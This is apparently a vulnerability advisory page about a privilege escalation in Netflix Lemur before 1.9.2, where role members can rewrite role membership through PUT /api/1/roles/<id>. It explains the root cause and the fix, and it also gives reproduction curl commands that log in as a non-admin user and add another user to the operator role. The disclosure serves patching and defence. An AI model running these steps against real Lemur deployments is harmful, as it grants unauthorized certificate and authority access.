6.3medium
Lemur: Privilege escalation via PUT /api/1/roles/<id> — non-admin role members can rewrite role membership
- Severity
- 6.3medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.17% (higher than 5% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-x3vf-mgxj-7785PYSEC-2026-2591
Description
Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data["users"] and data["name"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled lateral privilege grants within roles that control certificate and authority access and could deny access by removing legitimate members. The DELETE handler already required admin_permission, confirming that the weaker PUT authorization was inconsistent. The fix applies the same administrator-only requirement to the PUT handler. This issue is fixed in version 1.9.2.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Netflix lemur | < 1.9.2 | CVE List |
| lemur (PyPI) | before 1.9.2 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 6.3medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| GitHub | 6.3medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| PyPA Advisory Database | 6.3medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.
What each source says
CVE List
Lemur manages TLS certificate creation. Prior to 1.9.2, PUT /api/1/roles/ in lemur/roles/views.py:298 authorized updates with RoleMemberPermission(role_id), which allowed either an administrator or any existing member of the target role. The handler passed data["users"] and data["name"] to service.update, allowing a non-admin member to add or remove other users and rename the role. This enabled lateral privilege grants within roles that control certificate and authority access and could deny access by removing legitimate members. The DELETE handler already required admin_permission, confirming that the weaker PUT authorization was inconsistent. The fix applies the same administrator-only requirement to the PUT handler. This issue is fixed in version 1.9.2.
GitHub Advisory Database
Summary
The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.
Root Cause
lemur/roles/views.py:298:
permission = RoleMemberPermission(role_id)
if permission.can():
return service.update(
role_id, data["name"], data.get("description"), data.get("users")
)
return dict(message="You are not authorized to modify this role."), 403
@admin_permission.require(http_exception=403)
def delete(self, role_id):
...
lemur/auth/permissions.py:56:
class RoleMemberPermission(Permission):
def __init__(self, role_id):
needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
super().__init__(*needs)
flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.
Affected Endpoints
| Method | Path | Source |
|---|---|---|
| PUT | /api/1/roles/<id> | lemur/roles/views.py:298 |
Impact
A user who is a member of role X can:
- Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
- Remove other users from role X, denying their access (availability / governance impact).
- Rename role X to an arbitrary string.
The "rename to admin" path is blocked by the
unique=Trueconstraint onRole.nameand by strict equality inUser.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.
Remediation
Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:
@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
...
If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.
Steps to Reproduce
-
Set up Lemur with default configuration. Create an admin user
admin, and two non-admin usersaliceandbob. Addaliceto the built-inoperatorrole; leavebobwith no roles or withread-onlyonly. -
Authenticate as
aliceand capture the JWT:curl -X POST https://lemur.local/api/1/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"alice","password":"<alice_pw>"}' -
Confirm the initial state -
bobis not a member ofoperator:curl https://lemur.local/api/1/roles?filter=name;operator \ -H "Authorization: Bearer <admin_jwt>" # observe: alice present in users list, bob absent -
As
alice, send a PUT that injectsbobinto theoperatorrole:curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \ -H "Authorization: Bearer <alice_jwt>" \ -H "Content-Type: application/json" \ -d '{ "name": "operator", "description": "modified by alice", "users": [{"id": <alice_id>}, {"id": <bob_id>}] }' # observe: HTTP 200 -
Confirm
bobis now a member ofoperator:curl https://lemur.local/api/1/roles?filter=name;operator \ -H "Authorization: Bearer <admin_jwt>" # observe: bob now present in users list
Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.
NVD (es)
Lemur gestiona la creación de certificados TLS. Antes de la versión 1.9.2, PUT /API/1/roles/ en lemur/roles/views.py:298 autorizaba las actualizaciones con RoleMemberPermission(role_id), lo que permitía a un administrador o a cualquier miembro existente del rol objetivo. El gestor pasaba data[’users’] y data[’name’] a service.update, permitiendo a un miembro no administrador añadir o eliminar otros usuarios y renombrar el rol. Esto permitía la concesión lateral de privilegios dentro de roles que controlan el acceso a certificados y autoridades, y podía denegar el acceso eliminando a miembros legítimos. El gestor DELETE ya requería admin_permission, confirmando que la autorización PUT más débil era inconsistente. La solución aplica el mismo requisito de solo administrador al gestor PUT. Este problema se ha solucionado en la versión 1.9.2.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-55163 changed 2026-08-19 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-x3vf-mgxj-7785 changed 2026-07-13 | CC-BY-4.0 |
| NVD | CVE-2026-55163 changed 2026-10-22 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2591 changed 2026-07-13 | CC-BY-4.0 |